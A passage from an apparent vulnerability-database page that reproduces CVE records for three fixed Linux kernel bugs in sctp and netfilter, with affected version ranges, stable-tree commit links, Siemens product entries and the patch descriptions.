                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.324",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.286",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.230",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.172",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.117",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.61",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.8",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: properly validate chunk size in sctp_sf_ootb()\n\nA size validation fix similar to that in Commit 50619dbf8db7 (\"sctp: add\nsize validation when walking chunks\") is also required in sctp_sf_ootb()\nto address a crash reported by syzbot:\n\n  BUG: KMSAN: uninit-value in sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712\n  sctp_sf_ootb+0x7f5/0xce0 net/sctp/sm_statefuns.c:3712\n  sctp_do_sm+0x181/0x93d0 net/sctp/sm_sideeffect.c:1166\n  sctp_endpoint_bh_rcv+0xc38/0xf90 net/sctp/endpointola.c:407\n  sctp_inq_push+0x2ef/0x380 net/sctp/inqueue.c:88\n  sctp_rcv+0x3831/0x3b20 net/sctp/input.c:243\n  sctp4_rcv+0x42/0x50 net/sctp/protocol.c:1159\n  ip_protocol_deliver_rcu+0xb51/0x13d0 net/ipv4/ip_input.c:205\n  ip_local_deliver_finish+0x336/0x500 net/ipv4/ip_input.c:233"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:49:27.619Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/67b9a278b80f71ec62091ded97c6bcbea33b5ec3"
        },
        {
          "url": "https://git.kernel.org/stable/c/9b5d42aeaf1a52f73b003a33da6deef7df34685f"
        },
        {
          "url": "https://git.kernel.org/stable/c/40b283ba76665437bc2ac72079c51b57b25bff9e"
        },
        {
          "url": "https://git.kernel.org/stable/c/a758aa6a773bb872196bcc3173171ef8996bddf0"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf9bff13225baf5f658577f7d985fc4933d79527"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3fb3cc83cf313e4f87063ce0f3fea76b071567b"
        },
        {
          "url": "https://git.kernel.org/stable/c/8820d2d6589f62ee5514793fff9b50c9f8101182"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ead60804b64f5bd6999eec88e503c6a1a242d41"
        }
      ],
      "title": "sctp: properly validate chunk size in sctp_sf_ootb()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50299",
    "datePublished": "2024-11-19T01:30:47.362Z",
    "dateReserved": "2024-10-21T19:36:19.987Z",
    "dateUpdated": "2026-05-12T12:00:52.484Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50251 (GCVE-0-2024-50251)

Vulnerability from cvelistv5 – Published: 2024-11-09 10:14 – Updated: 2026-05-12 12:00

Title

netfilter: nft_payload: sanitize offset and length before calling skb_checksum()

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_payload: sanitize offset and length before calling skb_checksum() If access to offset + length is larger than the skbuff length, then skb_checksum() triggers BUG_ON(). skb_checksum() internally subtracts the length parameter while iterating over skbuff, BUG_ON(len) at the end of it checks that the expected length to be included in the checksum calculation is fully consumed.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/a661ed364ae6ae88c…
https://git.kernel.org/stable/c/ac7df3fc80fc82bcc…
https://git.kernel.org/stable/c/e3e608cbad376674d…
https://git.kernel.org/stable/c/b1d2de8a669fa14c4…
https://git.kernel.org/stable/c/d3217323525f75964…
https://git.kernel.org/stable/c/0ab3be58b45b99676…
https://git.kernel.org/stable/c/c43e0ea848e7b9bef…
https://git.kernel.org/stable/c/d5953d680f7e96208…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < a661ed364ae6ae88c2fafa9ddc27df1af2a73701 (git) Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < ac7df3fc80fc82bcc3b1e8f6ebc0d2c435d0c534 (git) Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < e3e608cbad376674d19a71ccd0d41804d9393f02 (git) Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < b1d2de8a669fa14c499a385e056944d5352b3b40 (git) Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < d3217323525f7596427124359e76ea0d8fcc9874 (git) Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < 0ab3be58b45b996764aba0187b46de19b3e58a72 (git) Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < c43e0ea848e7b9bef7a682cbc5608022d6d29d7b (git) Affected: 7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df , < d5953d680f7e96208c29ce4139a0e38de87a57fe (git)
Linux	Linux	Affected: 4.5 Unaffected: 0 , < 4.5 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.171 , ≤ 5.15.* (semver) Unaffected: 6.1.116 , ≤ 6.1.* (semver) Unaffected: 6.6.60 , ≤ 6.6.* (semver) Unaffected: 6.11.7 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:27:31.759Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://github.com/slavin-ayu/CVE-2024-50251-PoC"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:38.265Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nft_payload.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a661ed364ae6ae88c2fafa9ddc27df1af2a73701",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            },
            {
              "lessThan": "ac7df3fc80fc82bcc3b1e8f6ebc0d2c435d0c534",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            },
            {
              "lessThan": "e3e608cbad376674d19a71ccd0d41804d9393f02",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            },
            {
              "lessThan": "b1d2de8a669fa14c499a385e056944d5352b3b40",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            },
            {
              "lessThan": "d3217323525f7596427124359e76ea0d8fcc9874",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            },
            {
              "lessThan": "0ab3be58b45b996764aba0187b46de19b3e58a72",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            },
            {
              "lessThan": "c43e0ea848e7b9bef7a682cbc5608022d6d29d7b",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            },
            {
              "lessThan": "d5953d680f7e96208c29ce4139a0e38de87a57fe",
              "status": "affected",
              "version": "7ec3f7b47b8d9ad7ba425726f2c58f9ddce040df",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nft_payload.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.5"
            },
            {
              "lessThan": "4.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.171",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.116",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.60",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.171",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.116",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.60",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.7",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_payload: sanitize offset and length before calling skb_checksum()\n\nIf access to offset + length is larger than the skbuff length, then\nskb_checksum() triggers BUG_ON().\n\nskb_checksum() internally subtracts the length parameter while iterating\nover skbuff, BUG_ON(len) at the end of it checks that the expected\nlength to be included in the checksum calculation is fully consumed."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:48:28.958Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a661ed364ae6ae88c2fafa9ddc27df1af2a73701"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac7df3fc80fc82bcc3b1e8f6ebc0d2c435d0c534"
        },
        {
          "url": "https://git.kernel.org/stable/c/e3e608cbad376674d19a71ccd0d41804d9393f02"
        },
        {
          "url": "https://git.kernel.org/stable/c/b1d2de8a669fa14c499a385e056944d5352b3b40"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3217323525f7596427124359e76ea0d8fcc9874"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ab3be58b45b996764aba0187b46de19b3e58a72"
        },
        {
          "url": "https://git.kernel.org/stable/c/c43e0ea848e7b9bef7a682cbc5608022d6d29d7b"
        },
        {
          "url": "https://git.kernel.org/stable/c/d5953d680f7e96208c29ce4139a0e38de87a57fe"
        }
      ],
      "title": "netfilter: nft_payload: sanitize offset and length before calling skb_checksum()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50251",
    "datePublished": "2024-11-09T10:14:59.820Z",
    "dateReserved": "2024-10-21T19:36:19.979Z",
    "dateUpdated": "2026-05-12T12:00:38.265Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27397 (GCVE-0-2024-27397)

Vulnerability from cvelistv5 – Published: 2024-05-09 16:37 – Updated: 2026-05-12 11:51

Title

netfilter: nf_tables: use timestamp to check for set element timeout

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: use timestamp to check for set element timeout Add a timestamp field at the beginning of the transaction, store it in the nftables per-netns area. Update set backend .insert, .deactivate and sync gc path to use the timestamp, this avoids that an element expires while control plane transaction is still unfinished. .lookup and .update, which are used from packet path, still use the current time to check if the element has expired. And .get path and dump also since this runs lockless under rcu read size lock. Then, there is async gc which also needs to check the current time since it runs asynchronously from a workqueue.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f8dfda798650241c1…
https://git.kernel.org/stable/c/eaf1a29ea5d7dba8e…
https://git.kernel.org/stable/c/7b17de2a71e56c103…
https://git.kernel.org/stable/c/0d40e8cb1d1f56a99…
https://git.kernel.org/stable/c/b45176b869673417a…
https://git.kernel.org/stable/c/7fa2e2960fff8322c…
https://git.kernel.org/stable/c/383182db8d58c4237…
https://git.kernel.org/stable/c/7395dfacfff65e993…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < f8dfda798650241c1692058713ca4fef8e429061 (git) Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < eaf1a29ea5d7dba8e84e9e9f3b3f47d0cd540bfe (git) Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < 7b17de2a71e56c10335b565cc7ad238e6d984379 (git) Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < 0d40e8cb1d1f56a994cdd2e015af622fdca9ed4d (git) Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < b45176b869673417ace338b87cf9cdb66e2eeb01 (git) Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < 7fa2e2960fff8322ce2ded57b5f8e9cbc450b967 (git) Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < 383182db8d58c4237772ba0764cded4938a235c3 (git) Affected: c3e1b005ed1cc068fc9d454a6e745830d55d251d , < 7395dfacfff65e9938ac0889dafa1ab01e987d15 (git)
Linux	Linux	Affected: 4.1 Unaffected: 0 , < 4.1 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.84 , ≤ 6.6.* (semver) Unaffected: 6.7.5 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27397",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:39:42.529200Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T17:44:15.867Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:54:14.579Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b45176b869673417ace338b87cf9cdb66e2eeb01"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/383182db8d58c4237772ba0764cded4938a235c3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7395dfacfff65e9938ac0889dafa1ab01e987d15"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:35.602Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/netfilter/nf_tables.h",
            "net/netfilter/nf_tables_api.c",
            "net/netfilter/nft_set_hash.c",
            "net/netfilter/nft_set_pipapo.c",
            "net/netfilter/nft_set_rbtree.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f8dfda798650241c1692058713ca4fef8e429061",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            },
            {
              "lessThan": "eaf1a29ea5d7dba8e84e9e9f3b3f47d0cd540bfe",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            },
            {
              "lessThan": "7b17de2a71e56c10335b565cc7ad238e6d984379",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            },
            {
              "lessThan": "0d40e8cb1d1f56a994cdd2e015af622fdca9ed4d",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            },
            {
              "lessThan": "b45176b869673417ace338b87cf9cdb66e2eeb01",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            },
            {
              "lessThan": "7fa2e2960fff8322ce2ded57b5f8e9cbc450b967",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            },
            {
              "lessThan": "383182db8d58c4237772ba0764cded4938a235c3",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            },
            {
              "lessThan": "7395dfacfff65e9938ac0889dafa1ab01e987d15",
              "status": "affected",
              "version": "c3e1b005ed1cc068fc9d454a6e745830d55d251d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/netfilter/nf_tables.h",
            "net/netfilter/nf_tables_api.c",
            "net/netfilter/nft_set_hash.c",
            "net/netfilter/nft_set_pipapo.c",
            "net/netfilter/nft_set_rbtree.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.1"
            },
            {
              "lessThan": "4.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.97",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.97",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.84",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.5",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "4.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: use timestamp to check for set element timeout\n\nAdd a timestamp field at the beginning of the transaction, store it\nin the nftables per-netns area.\n\nUpdate set backend .insert, .deactivate and sync gc path to use the\ntimestamp, this avoids that an element expires while control plane\ntransaction is still unfinished.\n\n.lookup and .update, which are used from packet path, still use the\ncurrent time to check if the element has expired. And .get path and dump\nalso since this runs lockless under rcu read size lock. Then, there is\nasync gc which also needs to check the current time since it runs\nasynchronously from a workqueue."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:13.955Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f8dfda798650241c1692058713ca4fef8e429061"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaf1a29ea5d7dba8e84e9e9f3b3f47d0cd540bfe"
        },
        {
          "url": "https://git.kernel.org/stable/c/7b17de2a71e56c10335b565cc7ad238e6d984379"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d40e8cb1d1f56a994cdd2e015af622fdca9ed4d"
        },
        {
          "url": "https://git.kernel.org/stable/c/b45176b869673417ace338b87cf9cdb66e2eeb01"
        },
        {
          "url": "https://git.kernel.org/stable/c/7fa2e2960fff8322ce2ded57b5f8e9cbc450b967"
        },
        {
          "url": "https://git.kernel.org/stable/c/383182db8d58c4237772ba0764cded4938a235c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/7395dfacfff65e9938ac0889dafa1ab01e987d15"
        }
      ],
      "title": "netfilter: nf_tables: use timestamp to check for set element timeout",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27397",
    "datePublished": "2024-05-09T16:37:22.463Z",
    "dateReserved": "2024-02-25T13:47:42.677Z",
    "dateUpdated": "2026-05-12T11:51:35.602Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

